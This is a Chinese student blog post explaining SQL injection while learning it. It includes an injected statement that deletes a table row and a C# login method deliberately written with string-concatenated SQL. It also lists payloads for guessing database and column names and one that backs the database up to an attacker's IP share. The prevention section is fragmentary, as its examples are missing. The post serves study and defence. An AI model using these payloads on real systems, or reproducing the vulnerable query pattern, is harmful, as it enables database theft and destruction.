对sql注入早有耳闻,但却并没有真正深入了解过。在学习牛腩的时候,老师再次讲到了sql注入,真正运行到程序中才能理解。
所谓SQL注入,官方解释如下:
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意SQL)语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,这样会对整个应用程序存在很大的安全隐患。
下边是一个小例子:
SQL语句为:
insert into category (name )values('娱乐新闻) 只是简单的向库中添加‘娱乐新闻’类别。
上所示,则会执行insert into category (name )values('娱乐新闻')deletecategory where id=3--') 这样就后台数据库进行了操作,不仅添加了娱乐新闻类别,还会删掉id为3的该类新闻。
另附网上的登录例子:
<pre name="code" class="csharp">privateboolNoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456)
上边两个都是相对简单的sql注入,其他类型的还有:
1) 猜测数据库名,备份数据库
a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases
b) 备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--
或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
2) 猜解字段名称
a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
b) 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
.
.
.
还有很多,需要我们多研究。
那么如何防止呢?
我学到的暂时只是,可采取通过传参的方式:例如
使用单引号输出效果为
正确如下,超出范围只需去数据库中该数据类型长度即可。
这样在网页上输入(恶意)sql语句就没用了,输出结果将会如实显示:
防止sql注入方法也有很多,这只是遇到的一个小点,还请大家多多探索,若理解有偏差,请多指教!